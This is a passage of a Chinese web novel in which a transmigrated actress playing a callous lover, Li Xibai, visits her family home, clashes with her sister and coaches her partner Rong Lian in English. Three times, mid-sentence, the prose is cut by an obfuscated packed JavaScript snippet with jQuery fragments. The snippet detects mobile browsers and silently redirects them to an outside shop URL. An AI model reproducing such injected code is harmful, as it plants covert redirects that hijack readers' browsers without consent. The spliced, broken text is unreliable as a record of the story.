原星还想说些什么,却突然朝李惜白身后看了一眼,然后止住了动作,含着棒棒糖一声不吭地进去了。
李惜白奇怪地也向后看去。
然后看到了一脸担忧的李青。
“小白,怎么这么快就出院了?”
11. 回家啦
那正常的不能再正常的语气,简直就像个关心妹妹的好姐姐。
李惜白默默向后退了一步,冷声道:“你把容莲辞退了?”
李青点头,丝毫并不认为自己做错了,缓缓道:“这是她自己选的。”
“你不是还很欣赏她吗?”李惜白皱眉。
李青向前走一步,凑得离李惜白近一些,用长辈的语气道:“昨天骂你是我不对,但是小白,我知道,如果不是她,你做不出这种傻事的,离开她吧,你不能再重蹈覆辙了。”
李惜白不耐烦,“你能不能不要管我和谁在一起?”
“对啊,”本该走掉的原星又突然冒出来,含着糖嘟囔着,“管那么宽干什么……”
李青带着冷气地白她一眼,又转过头对李惜白继续劝说:“我知道,你这个孩子重情重义,轻易放不下别人……”
剩下的话李惜白就听不进去了。
“重情重义”?她真的没有在嘲讽自己吗?
“但是,我不能放任你再因为别人伤害自己。”李青语气笃定,目光定定望着李惜白。
这遮天蔽日的亲姐滤镜简直恐怖如斯。
李惜白定论了,这位绝对不够格当后宫成员,太妹控了。
另一边原星更是把白眼翻上天,“重情重义个鬼啊,重色忘友还差不多。”
“原小姐,”李青听不下去了,“我和我妹妹在讲话,请你回避一下。”
“回避?昨天晚上你可不是这么说的啊。”
“那是你喝多了。”
“胡说,我这辈子都没喝多过。”
“既然没喝多就不要在这说胡话了。”李青冷酷道,她对待除李惜白之外的人一向都没什么耐心,即使是和自己春宵一夜的原星也不会有半分特殊待遇。
原星忍着怒气白了李青一眼,把嘴里的糖狠狠扔到地上,踩着厚底鞋“哒哒”地走了,连头都不肯回。
李惜白突然懂了什么,对着李青笑了笑,故意把声音放得很大:“姐姐,今天早上的电话——”
嘴被立刻捂住,李青明显不安了,压低声道:“旁边还有人呢。”
李惜白露在外面的一双眼亮了亮,顺从地点点头。
李青舒了一口气,放下捂住李惜白的手:“以后不要再和……”
“你也不想我把你们的事告诉爸妈吧?”李惜白突然说。
哈,敢和她斗?她可是演惯了无脑狗血短剧的,这种套路完全不要太熟了好吧。
李青瞬间愣住,开始用一种复杂的目光打量着李惜白。
故意无辜所以显得很做作的表情,脑门上掩饰不住的好强心,简直和小时候“不小心”发现李青做错事,兴高采烈去告诉妈妈的李惜白一模一样。
李青凝视着眼前人,平声道:“当然不能。”
李惜白沾沾自喜地笑一下,“那让容莲回来?”
“……好。”李青还是拗不过李惜白的任性,无奈应下了。
*
容莲收拾好李惜白这几天在医院留下的各种东西,代办完出院手续,终于踏出了医院大门。
那股阴寒的气息也抽丝剥茧般从身体里退出来,温煦的阳光抚过头顶,心稍微定下来些。
从接到李惜白出事的电话起,就如同进入了幻梦,连脚步都是漂浮着,仿佛根被拔掉一般,直到看到那人安然无恙躺在病床上,心脏都还后怕地一阵阵发着疼。
说到底,那个人还是活着比较好。
手机屏幕亮了一下,容莲拿起来点开李惜白的头像。
阿白:已讨回公道。
阿白:明天来上班。
容莲盯了一会儿那两行字,莫名脑补出李惜白扬着下巴求夸的声音,想了想回到:好厉害哦【小猫比心】
这种语气她平时学不来,也只能在网上随便用用了,李惜白大概会喜欢。
事实证明容莲的想法丝毫不错,李惜白在收到表情包后被萌晕了好几秒,心道不愧是万人迷主角受,连发消息都如此讨人喜欢。
但李惜白还是在尽职尽责地扮演已经崩塌的渣攻人设,冷漠回了一个“嗯”。
系统对无法无天的李惜白彻底心死,崩溃大喊:“请宿主给出解释!”
李惜白闭了屏幕,撑着下巴望车窗外,一脸无辜:“解释什么?”
系统见李惜白从头到尾都写着“无所谓”三个大字,更气了不少:“现在下最后一次警告,若宿主无法解释自己的作为,将即刻被遣送回原世界。”
李惜白摸了摸豪车的座位,再看了看前面这个极其有专业素养,无论二小姐对着空气自言自语什么都不会分半点心的司机,感到万分不舍。
要是回去,就要天天坐地铁去上班了。
李惜白摇摇头,有些后怕道:“我可以解释。”
“如果想让容莲彻底死心,一味的打压肯定是不行的,就像温水煮青蛙,从一开始的温柔到后面的冷漠,容莲已经经受了一遍,再强烈的打压行为也只是继续把水温升高,青蛙同样跳不出来。”
“所以,我现在做的,就是重新把水温降低,让容莲重新习惯以前的偏爱,把她高高捧起,等到她完全忘记过去痛苦回忆时,再一举将她从高楼抛落。”
“这样一来,才是彻底的跌落谷底。”
系统惊呆了,“……很好。”
李惜白对着空气笑了笑。
这家伙还真是好骗啊。
“不过,”系统隐隐听出几分欺骗意味,“宿主你打算什么时候开始抛呢?”
李惜白心虚地哼了几声,开始不说话装高冷。
车内一片沉寂。
前面的司机终于控制不住地瞥了一眼车内后视镜,见李惜白好好地坐在后面,没有半分刚才怪言怪语的精神病样子。
果然,有钱人脑子都不太正常。司机感叹着把目光收回去。
“离渣攻与主角受分手还剩两个月,还请宿主衡量好时间。”
迟迟得不到回答的系统干脆给李惜白下了最后通牒。
两个月……
李惜白在心里默默计算着这个时间,抬眼望窗外,终于感到了一丝不对劲,对着司机问:“喂,这是去哪啊?”
司机被猝不及防地问了一句,连忙回到:“不是大小姐说,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722339|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让您回家待一段时间吗?”
“她什么时候说的?”
“就,刚刚啊,您给别人发消息的时候,我以为您知道呢……”司机心虚地咽咽口水。
无缘无故就上了别人车的李惜白觉得自己脑子坏了。
“停车吧,我最近不想回去。”朋友和恋人认不出来她还在情理之中,但父母这关她肯定过不了,毕竟是亲生骨肉,再怎么扮演都会有纰漏的。
司机“嗯”了一声,默默把车停下。
引擎声渐弱,李惜白推开门跨步出去,却突然被一个富态的中年女人欢欢喜喜握住了手。
“哎呀小白,你说说你,这么久都不回来一趟,可想死柳姨我了。”
李惜白还没反应过来,就被拥进一个温暖的怀抱里。
“你姐姐说你今天回家,我本来还不信,”柳姨抹着喜悦的泪,“结果真就来了,走走走,我菜还没做好呢,先去家里休息休息。”
李惜白看了看旁边,一幢坐落于城市近郊的别墅正敞着庭院门等着她进去。
下车的司机挠挠头:“您刚刚说停的时候就已经到了。”
“你说说,这么久不回家,都忘了家长什么样了不是,走走走,进去再说。”柳姨兴奋地挽住李惜白胳膊,不顾李惜白脸上的慌张神态,拉着人就往里走。
都到家门口了,不进去实在说不过去,李惜白硬着头皮往里走,演员的基本素养在大脑乱成一团,头低得快进草坪了。
引以为傲的心理素质在踏入庭院后变得不堪一击,被拉着一直走到门口,柳姨在前面引着推开门,那一脸和蔼的表情却让李惜白更加紧张了。
马上就要见到原身的妈妈了吗?
李惜白原本是个孤儿,从小就在孤儿院长大,那里的老师很严厉,院长也不和善,小朋友们也都个顶个的坏,她从小就不知道妈妈会是什么样子。
会在她哭的时候抱住她,在她饿的时候给她做饭吗?
哪怕自己不小心被人骗了,签了违约金很高的合同,妈妈也会把她护到身后吗?
门被推开了。
李惜白紧咬的唇松开。
柳姨在里面喊她:“快进来啊,外面多冷。”
李惜白犹豫着走进去,柳姨熟练给她脱着外套:“你说说你们这一家人,买这房子像是给我这个外人买的,没一个人肯回来住。”
李惜白垂下眼,不知为什么,有些失落。
“乖啊,在沙发上坐坐,你姐姐说她今晚也回来,让我这个老得不中用的再陪你们姐妹说说话。”柳姨笑吟吟说着,从厨房端出一小碟水果蛋糕。
“知道你喜欢吃这个,柳姨学了好久,就等着你回来呢。”
李惜白莫名愧疚,“谢谢柳姨。”
柳姨笑笑:“怎么还改性了,这么有礼貌?”
“哈……”李惜白尬笑两声,挠了挠头,“可能吃错药了吧。”
这话太不高明了,说完李惜白都想咬自己舌头。
柳姨倒没说什么,把她安顿好又去厨房忙碌了。
坐在真皮沙发上,李惜白的目光朝一旁的照片墙看去。
12. 变故
别墅风格以简约轻松为主,那面照片墙实在突兀又显眼,没有人能控制不住看上一眼。
照片被镶嵌在大大小小的相框里,错落有致地摆放着,其中出现最多的是一个短发小女孩,大概就是原身。
李惜白起身走过去,伸手摸上最中间的相框。
这是一张三人合影,背后是一座摩天轮,位于最中心的女人容貌秀丽,衣着简约而有品味,微笑礼貌而克制,目光里带着种说不出的疏离感。
左边的小女孩留了一头长发,整整齐齐梳在背后,勉强地笑着,看着倒是乖巧无比。
反观右边的小女孩,不情不愿地要哭出来了,一头乱糟糟的短发更像刚打过滚一样。
拇指轻轻擦过女人的脸,心中升起一股落寂感。
……
这别墅平时确实没人住,打扫做饭都是柳姨在做,偶尔有两个新人也不会长久呆在这,听柳姨的口吻,大概李惜白刚出生,柳姨就已经来这个家了。
“那时候你母亲也忙,没空陪你们两个,你姐姐老早就被她送去了外国,你就一个人孤零零呆这……”柳姨说着说着就来了哭腔。
李惜白不知道这有什么好哭的,有钱有闲还没人管,她做梦都梦不到这样。
不过这倒也能解释原身那恶劣的性格是怎么养成的。
李惜白陪笑了两声,不知道怎么回应。
柳姨倒也不指望着李惜白说什么,只是太久没人陪她说过话,有些孤寂,喝了口水继续道:“那时候你就老去找隔壁一个小姑娘玩,叫什么,小顾来着,她不理你你就回来哭,隔天又去给人家送玩具求道歉……”
这家伙小时候怎么还是个爱哭鬼啊。
简直有愧于渣攻身份。
李惜白在心里啧了两声,望了望面前满桌的菜,犹豫问道:“要不然我们先吃……”
外面响起锁车声。
柳姨弯了弯眼,“一定是小青回来了,我去接接她。”
李惜白听这称呼莫名想笑,小青小白,听着就要被关锁妖塔了。
“你坐吧柳姨,我去开门。”
李惜白对她礼貌笑了几下,刚来到拉开门,就看到三个人整整齐齐站在门口。
原星没再坚持那一身不良装扮,只是红中透白的发色和那不羁的眼神依旧不像好人,此刻又像吃了炮仗一样:“干嘛?不让我进?”
“呀,是小原啊,快进来快进来。”柳姨越过李惜白迎过来,一把拉住原星和李青的手,热泪盈眶,“你们都回来了,真好,真好……哎,这位是?”
所有人的目光慢慢移到低着头的容莲身上。
原星挥了挥手:“我带来的。”
容莲看着很紧张的样子,对着柳姨喊了声“伯母好”就说不出话了。
原星笑笑:“这不是伯母,这是柳姨。”
李惜白走过去抓住容莲的手,强硬地把她拉进屋内。
容莲的出了汗,却又很凉,李惜白心疼了片刻,不满道:“以后别谁的话都听,她让你来你就来吗?”
“哎你!我好心让她来见见家长,你还不乐意上了?”原星指着李惜白的鼻子就大喊。
柳姨见气氛不对,开始当和事佬:“好啦好啦,好不容易聚一次,小青你这个当姐姐的也不知道劝着点,走走走,先进去。”
李青全程冷着张脸,恨不得离原星隔个十米远,不想和她说任何话。
从容莲进来的那一刻李惜白就完全粘在了她旁边,座椅也故意移得很近,容莲则习惯性地给她夹菜,看得柳姨都有些许恍惚。
对面的那两人则是把冷战透彻到底,原星还时不时冒出一句“人家就是般配啊”这种莫名其妙的话。
柳姨彻底看不懂了,但依旧很想和这群年轻人聊聊天,只能继续从自己陈旧的回忆中扒拉出些东西来。
“小白,你还记得吗,小时候你姐姐放假回来的时候,你都要在门口堵着不让她进,说她和妈妈都背叛你了,不要她们了,”柳姨笑了起来,“都把你姐姐气哭了。”
李惜白尴尬地听着别人的事迹,只能闷头吃饭。
原星却像听到什么很好笑的事,一个劲问:“真的啊?你真哭了?”
李青不知道受了什么刺激,也不骂她了,放下碗筷拉起她就走,开了门,随手往外一扔,再“当”一声关上门,不管原星在外面怎样大骂,面不改色地回来坐好。
李惜白被惊到了。
这下连柳姨都不敢再多说话,只能一个劲在心里感叹:那么乖个孩子,怎么长大了气性这么大呢。
李青发完这通无声的火,又把目光转向碍眼的容莲,冷冷道:“吃完了就回去,别想着留在这,我家的高枝还不是你能攀得起的。”
李惜白皱着眉“啧”了一声,对那个不良女发脾气也就算了,怎么还扫射她家小莲花呀?
容莲特别无辜地“哦”一声,用水光粼粼的眼睛去看李惜白。
那真是满眼都写着“姐姐你看她”,李惜白顿时觉得肩上背负了重重的使命,清了两声嗓子,正打算反驳,李青却打断了她。
“你也回去,你的房间被我占了,让司机送你们。”
李惜白也悻悻地“哦”一句,把气势缩了回来。
看得出李青心情是真的不好,连李惜白都讨不到好脸色。
一顿本该开开心心的饭就这样被搞砸了,李青的手机响了又响,她皱着眉头把那人拉黑,又看了看几乎要贴在一起的两人,心里怎样都不舒服。
容莲根本没有因为李青的针对而伤心片刻,目光不由往照片墙上看,不动声色地勾了勾嘴角。
小时候和现在一样傻。
饭后,柳姨握着李惜白的手在门口嘱咐半天,看着又是要哭一哭的架势,李惜白微笑着抽了手,对着正欣赏照片的容莲喊:“走啦!”
李青倚着门,目送二人离开,在车即将启动时,突然走上前敲了敲车窗。
车窗缓缓降下,李青弯下腰看着车内两人,没什么表情道:“顾轻水在国外拍完戏了,最近会回来。”
又是这个名字。
李惜白把小说的大致情节捋了个遍,到现在还没有出场且极其重要的人物……还有一位。
那位神龙见首不见尾的攻一。
作为最有可能夺冠的攻一,这位角色拥有超高的人气,这不仅缘于其惊天动地的美貌和火遍全球的影后身份,更在于她永远滴水不漏的处事风格,在主角受遭遇困境也会考虑到她的自尊心,借用神秘人的身份投
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722340|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
资主角受的梦想。
而她对待所有人也永远是完美的姿态,仿佛从来不会有情感上的波动,即使看到主角受和别的女人在一起,也始终保持正宫的大度,选择一笑而过。
就算主角受一直不知道投资自己的神秘人是她,却也已经深深被攻一的个人魅力所吸引,不自觉将目光望向那个被璀璨星光拥护着的女人。
如果真的是这样的话,只需要在这两个月内将主角受抛到攻一的手里,既不会伤害主角受,又可以完成任务,简直……太美好了!
电光火石的一瞬间,李惜白的大脑已经闪现过这么一长串内容,随即用感恩的目光望向李青。
李青的右眼皮跳了一下。
感觉不会有好事。
被迫消化了这堆心声的容莲揉了揉太阳穴,很想提醒李惜白再去复查一下脑子,却还是在看到李惜白无意识的傻笑后忍住了。
算了,傻了也挺好的。
*
前天刚被老板辞退,今天就又完好无损地来上班了,虽然职位又降了回来,但容莲这位关系户在公司的名声依旧只增不减。
容莲却和没事人一样,忽略同事投来的异样眼光,本本分分干自己的活。
同事们也没人敢在空闲时和她聊天,生怕知道什么不该知道的。
当然,有一个人例外。
原星不愿意每天呆对着电脑傻看,总是找人说李青的坏话,说一句两句还能引起共鸣,说多了别人就觉得烦了,原星只好跑去脾气看上去很好的容莲身边讲。
“我之前上大学的时候,班上有人吸那种东西,我去给李青讲,她以为我感兴趣,不分青红皂白就和我绝交了,你说她这人是不是很极端。”
“是有点呢。”
“还有以前小学的时候,我教了李惜白一句脏话,她就逼着李惜白和我绝交,真是一点人味都没有。”
“嗯。”容莲整理着文件夹。
“还有还有,她那天把我扔出去你也看到了,你知道她抓我有多疼吗?”
“应该不太知道。”
“超级疼,她和她妹妹一点都不像,李惜白扳手腕都没赢过,每次都耍赖……”
原星声音渐弱,最后彻底没了声音。
容莲感受到了身后的高气压,慢慢转过头去,果然看见了一身冷气的李青。
“下星期有个很重要的国际论坛,要出个人给我们公司做宣传,有个演讲,容莲你可以吧?”李青装作什么都没听到,只谈工作。
“李总,我不太擅长当众演讲。”容莲婉拒道。
“不擅长?我给你工资就是让你给我说这个的?要干就干,不干就滚。”
“……好。”
当天晚上,李惜白惊奇地发现今晚的菜比平时要咸三四倍。
李惜白疑惑地看看容莲,容莲只一口口挑着碗里的饭,一副不在状态的样子。
洗碗的时候,容莲又摔碎了两个盘子,好在这次没伤到手,默默处理完一地狼藉,时间已经很晚了。
李惜白洗完澡出来,就看见容莲穿戴整齐,背着背包准备出门。
“你去哪?”来不及思考就喊出了口。
“去走走。”只是这么回了一句,容莲便出了门。
13. 好热
李惜白望着空荡荡的房间,开始不由自主地幻想。
出轨?不应该吧,这段时间自己对她这么好,没理由啊。
难道真的只是心情不好?被李青欺负了?
李惜白拨了李青的电话,那边嘟嘟响了几声后就被挂断,李青大概又在忙。
只好快速吹了吹头发,披上外套去跟踪容莲。
系统那个败兴家伙说什么没必要,现在不会出现重要剧情,李惜白却总是担心着什么。
万一那个柔弱可怜的小白花被人拐了怎么办,自己找谁说理去?
系统学着李惜白“呵呵”笑几下,以示轻蔑之意。
外面这么冷的天,李惜白只是走了几步就感觉半湿的头发要冻成冰块了,在宽大的羽绒服里瑟瑟发抖,只恨没戴着帽子下来。
这个老旧小区的路灯也不是很完善,一明一灭的,要是再配点音乐,就有恐怖片的意思了。
李惜白绕着楼逛了逛,没见到半个人的影子。
这样冷的天,又这么晚了,傻子才会出来瞎逛。
傻子李惜白呼了呼手蹲在路边,本来决定给容莲发个消息,却发现根本没带下来。
这就很倒霉了。
李惜白快被冻僵了,腿也冻麻了,找了个亭子缩着,不知道呆了多久才重新恢复知觉。
她刚站起身,就猛然被一股力量扯住衣服拽进怀里。
李惜白差点尖叫出声,又在看到容莲的脸后硬生生咽回去。
这家伙,哭什么?
容莲的心还在狂跳,回到家发现没有人,打李惜白的电话也没人接,那次得知李惜白出车祸后的飘浮感再次席卷全身。
这两辈子,容莲一直想过要亲手杀死她,可当她真的死掉这个事摆在面前时,容莲才发现自己是有多么接受不了她的死亡。
整颗心都空掉了。
李惜白给她抹抹眼泪,尴尬道:“要不然……先把我放开?”
容莲的努力装作平淡地把她放开,泪却涌得更厉害了。
李惜白那股怜香惜玉的劲再一次超越理智,破罐子破摔地拉住她的手:“这样总行吧?”
……
容莲低下头,路灯把两人的影子斜斜照下来,两个细长的人影,一个偏高一个偏矮,两个影子的手拉在一起。
周围很安静,只有李惜白的心声在一旁热热闹闹地响个不停。
——“好冷好冷好冷好冷好冷……冷死了冷死了冷死了冷死了……”
容莲把她的手抓得紧一些,试图传递过去些温暖。
她俩都是易体寒的体质,不过容莲从小干家务干习惯了,没少在冬天给弟弟洗衣服,承受能力也就相对高些。
反观李惜白,身体仿佛就没有耐受性,从来不会因为在冷的环境里呆久了就变得抗寒,只会越来越冷。
同样的,她对喜欢的东西也是一样,不喜欢的事物不会因为呆久了就变得喜欢,喜欢的事物也不会因为呆久了而变得不喜欢。
容莲出神地想到了些什么,不自觉把手越握越紧。
李惜白为了面子硬是没哀嚎出声,差点以为容莲要给自己断手。
一直硬撑着爬完楼梯,容莲终于松开手去掏钥匙,李惜白才终于缓下口气。
楼道里的声控灯估计也被冻坏了,忽闪几下,不出意料地彻底熄灭。
刚被释放的手又重新被紧紧握住。
李惜白知道这家伙怕黑,但没想到能到这个地步。
只好无奈道:“没事了,还有我呢。”
容莲抬起头,在黑暗中沉默地望了她片刻,另一只手掏出钥匙开锁。
开了灯,温暖的光罩住整间屋子。
李惜白看了看表,零点四十四分,真吉利。
而关于容莲为什么出去这件事,她还是没能问成。
也没必要打破砂锅问到底,是人都会需要私密空间的,更何况她对容莲来说只是……
只是个冒牌货罢了。
*
自从上次过后,容莲就获得了上床睡觉的资格,虽然只是老老实实睡在床的一侧,却总让李惜白觉得别扭。
除了小时候被迫和孤儿院的小孩子挤在一张床上,她成年后就再也没和别人在一张床上呆过了。
为了消灭这种别扭感,李惜白特地在被子中间摆了一躺玩偶,全是从杂物间翻出来的,看样子很符合原身的品味,每一个都又丑又大。
这样下来,为了不减少容莲的空间,李惜白只能靠着床边侧身睡,不出所料在半夜翻身时滚下了床。
巨大的声音把容莲吵醒了,她揉着眼睛起身,却只见李惜白跪在地板上捂着膝盖痛苦闭眼。
“阿白?”
“没事,我睡不着,跪一会就好了。”李惜白咬牙。
——“痛啊……”
容莲下了床,微微蹙眉:“伤得厉害吗?”
“……还好,没事,你睡吧。”被拆穿的李惜白尴尬地低了低头。
容莲站着默默看了她几秒,轻声道:“有什么事可以告诉我。”
“真的不用,”李惜白有些烦了,“你的事都不能告诉我,凭什么要我给你讲?”
黄色夜灯打出的光照亮容莲的侧脸,一缕碎发落下来,她深黑的瞳色也显得有些淡。
容莲不做应答,默默走出去,过了会拿了瓶拧开的药膏进来。
李惜白还在为刚才不好的态度愧疚,就见容莲蹲下身,拿开她捂住伤口的手,用指腹轻轻往上抹药。
李惜白不得不双手向后撑着身子,脸偏朝一边,尴尬得不得了。
“痛了要和我说。”
“嗯嗯……”李惜白含糊地应着,思绪不知道早不知道跑到哪片天地了。
事实上就算痛死了她也肯定不会说,好在容莲的动作一直很轻柔,手指灵活得像是专门练过,怎样碰都不会痛。
李惜白紧绷的心渐渐松下来,一些憋在心里的话也迫不及待钻了出来。
“……你今晚出去,到底是做什么?”
最终还是问出这个问题。
容莲愣了愣,手上力度不注意变大了,痛得李惜白哀叫出声来。
——“至于吗!我就问个问题而已啊!”
容莲心虚道:“我不是故意的。”
李惜白痛得泪眼汪汪,却还是在看到那人楚楚可怜的无辜表情后选择了原谅。
抹抹眼角的泪,李惜白又问:“所以你出去是做什么?”
“练英语。”容莲淡淡道。
“…………啊?”这未曾设想的回答把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722341|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李惜白搞懵了。
“嗯……”容莲微不可察地低了低头,“李总要我去演讲,但我口语很差。”
“那干嘛要出去练?”
“怕吵到你。”
……
虽然这只是一点小小的缺陷,但放在全能的容莲身上,就显得格外难以置信一样。
李惜白摸摸那颗悲伤的脑袋,想安慰两句又怕伤到这家伙岌岌可危的自尊心,只好又把话咽回去,不咸不淡道:“好了,先睡觉,明天再说。”
容莲扶着她移到床上,默默把自己的被子抱在怀里:“我还是出去睡吧。”
李惜白沉思半天,“算了,外面冷,把玩偶拿掉就好了。”
“好。”容莲应得很快。
把玩偶通通拿下床,李惜白瞥了瞥旁边安分的容莲,还是屈服地缩进被子里,又因为避免压到膝盖上的伤,辗转反侧了好几次才找到合适的姿势。
只是手臂压到个很柔软的物体,大概是堆在一起的被子。
“请宿主不要对主角受动手动脚。”系统突然出声。
李惜白猛然明白这是什么,紧张地咽咽口水,轻轻把胳膊移下来,抓紧翻过身背朝容莲。
她真的不是故意的……
真的不是……
这样闭着眼对上天忏悔了几分钟,罪恶的心才慢慢得到了净化——下一秒,一只手臂搭上了她的腰。
然后,手臂逐渐收紧,后背也被慢慢贴住,栀子花的香气在鼻尖氲氤开来。
李惜白也是在这时候意识到一件事,现在,她和容莲,是正当的恋人关系。
也就意味着,她们是可以……
“在想什么?”容莲幽幽的声音在耳畔响起。
李惜白脑子都快成木头了,身体更是根本无法反应,只剩嘴巴还能勉强胡言乱语:“有点热热……先、先放开。”
“热?是不是发烧了?”容莲装听不懂。
“没、没……”李惜白一遇到超级紧张的事就容易结巴,舌头和牙齿大战三百回合才能吐出一个字。
脸颊在发烫,连手心都在冒汗,确实是热得要命。
——“要冷静,冷静,李惜白,你虽然没有那方面的经验,但你有演员的素养,剧本是怎样的就要怎样去演,想一想下一步应该做什么。”
——“你可是渣攻,千万不要露怯。”
给自己洗完脑的李惜白深吸一口气,正准备挣扎,突然听容莲很开心地笑了几声,手臂也收了回去。
“晚安。”轻柔的声音风一般吹进李惜白的耳中。
那天,李惜白睁着眼和天花板深情对望了一整晚。
*
“稿子准备好了吗?”
“已经好了。”
“嗯,这次是个好机会,做得好的话给你一个大赛的参与名额,好好加油。”
“好的,李总。”
李青点点头,“好了,出去吧。”
容莲微微弯了个腰,推门出去,乌黑的头发被撩在耳后,半入耳式的白色耳机像是耳饰般点缀着那张美丽面庞。
“Questions1to4arebasedontheconversationyouhavejustheard……”
嗯,六级听力真题。
14. 言传身教
容莲高中时的英语成绩并不算差,再难的卷子也不会下一百二。
但只要一开口,那份从容便荡然无存,发音错误,连读生硬,连动作都僵硬了,好像在念自己的死亡宣言。
为了纠正这点,高中老师特地把她叫到办公室,从最基础的音标开始教起,每天盲听一篇外刊跟着念,结果听力成绩上去了,口语却依旧吃力。
英语老师拍拍容莲的肩膀,安慰她反正高考不考口语,先将就吧。
那是好学生容莲第一次对自己感到失望。
再之后,没上成大学的容莲更缺少了练口语的环境,一本本英文书虽啃得不少,却始终缺少开口说话的勇气。
肩膀被人从后面轻碰了一下,容莲转过头,见米粒正红着脸捧着便当,嘴唇微动,好像在说些什么。
容莲把耳机摘下:“抱歉,我刚刚没听清。”
米粒的脸更红了些,眼神也在闪躲,“这是,不小心多做的。”
容莲歉笑一下:“我吃过了,不过谢谢你的好意。“
“哦……”被拒绝的米粒点了点头,依旧不太敢看容莲,鼓足勇气问道:“那个,今晚你有空吗?”
“有事吗?”
“嗯,”米粒低下头,声音更小了,“我多买了张电影票,如果你有空的话……”
“抱歉,”容莲明白了什么,温柔拒绝了,“我女朋友还在家等我。“
米粒瞬间呆住了。
“啊……女、女朋友吗?”
“没关系,如果你对同性恋有偏见,可以减少和我的接触。”容莲平静道。
米粒慌忙摆手,“不是的!……她,人怎么样呢?”
容莲微笑:“你见过的,那天她来过我们公司。“
米粒顿了顿,脑中浮现过一个蛮不讲理的身影,个子不高,说话却很难听。
这样的话当然不能说出口,米粒斟酌了一下用词:“那个短发女生吗?”
“嗯。”容莲笑着点头。
*
【阿白:晚上早点回家。】
容莲盯着这行字,几乎有些恍惚,退出去又点进来,确定不是手机出了bug,才缓缓回了句“好的”。
上辈子,这样的话容莲给她发过无数次,后面对方嫌太烦,干脆把她拉黑了。
而如今,李惜白也会等着她回家了。
思绪因此漂浮起来。
下班时间一到,容莲准点出了公司,平时半个小时的通勤今天只用了二十分钟。
站在家门口时,容莲甚至听到了自己有些快的心跳声。
插入钥匙,听着锁舌发出清脆的金属咬合声,轻轻压下把手,推开门。
客厅空无一人。
“阿白?”容莲唤了几声,去房间查看,依旧是不见人影。
攥紧手中的钥匙,容莲觉得自己有些好笑。
自己居然能因为这点可怜的施舍,就忘记李惜白做过什么。
李惜白是不会变的,容莲清楚这一点。
至于这段时间的温情假象,也许只是她一时兴起,想换个花样玩弄自己。把人捧到高处再摔下来,同样是很有趣的游戏。
不管是哪一世,她都是李惜白召之即来挥之即去的仆人,只要李惜白给一点甜头就会好了伤疤忘了痛地凑上去。
不过,从现在开始,她绝不会再重蹈覆辙了——
“你怎么回来这么早?”李惜白的站在门口问。
她怀里抱着一摞书,穿着厚厚的外套,帽子几乎要盖住脸,走路的动作和企鹅一样笨拙。
容莲怔了怔:“……不是你让我早回来吗?”
“哦,忘了。”李惜白含糊应道,低头试图单手换鞋,动作颇为费劲。
容莲在原地停顿片刻,还是走上前接过了那摞书。
李惜白也没推辞,顺手都给她了,边脱外套边解释道:“路过书店买的。”
容莲低头看去,书脊上的标题映入眼帘:《每天三十分钟学会地道英语》、《教你如何轻松说英语》、《三十天英语演讲速成》……
这人是不是被推销坑了?
容莲心情复杂地看着她。
“哦不对,”李惜白抽出那本《三十天英语演讲速成》,严肃修正道:“你已经没有三十天了。”
*
李惜白盘着腿坐在地板上,头疼地看着自己打印的一堆资料,不知道从哪开头。
容莲戴了副半框金边眼镜,双腿优雅地侧并着,膝上摊了一本书,安静地一页页翻着。
李惜白挠挠头,犹豫道:“要不然,先从字母开始?”
容莲放下书,“那倒也不至于……”
实际上,容莲根本不知道李惜白哪来的信心来教自己。
据容莲所知,在学习上,李惜白属于那种一直很努力但总与好成绩失之交臂的人。
而李惜白自我感觉非常良好,她从小就是英语课代表,虽然再怎么努力都混不上高分,但和英语老师的关系处的很好,再加上之前随着剧组出国拍了一次戏,怎么样也算个英语大师了。
用自己的长处来教容莲的短处,李惜白有种亲手打扮灰姑娘去舞会的错觉。
容莲低着头喃喃自语道:“什么灰姑娘……”
“嗯?”李惜白抬起头。
“没什么。”容莲开朗地笑了笑。
李惜白职业病地扮演起老师,“傻笑什么,学习是很严肃的事。”
受了批评的好学生容莲乖乖低下头反思.
李惜白揉了揉沉重的眼皮,她看见字多的纸就容易晕,不论中学时看课文,还是工作后看剧本,只要眼前开始冒星星,就证明她看进去了。
“这样吧,”李惜白尽职尽责地规划,“你先念一遍稿子我看看,我看你哪里有错误。”
容莲老老实实地拿出稿子通读一遍,声音清澈,然而毫无起伏。
“不对不对,”李惜白凑过去看稿子,伸手点了点一个单词,“idea第二个音节没有r,要注意一下……”
被衣服压翘的短发蹭过镜框,容莲眼前微微晃动了一下。
李惜白的气息很温暖,有些乱的头发给人毛茸茸的感觉,不知道摸一摸会什么感觉。
“你有没有在听?”李惜白的眉头向下皱,她最讨厌别人不听自己说话了。
容莲把目光从她发顶上收回,小声道:“在听。”
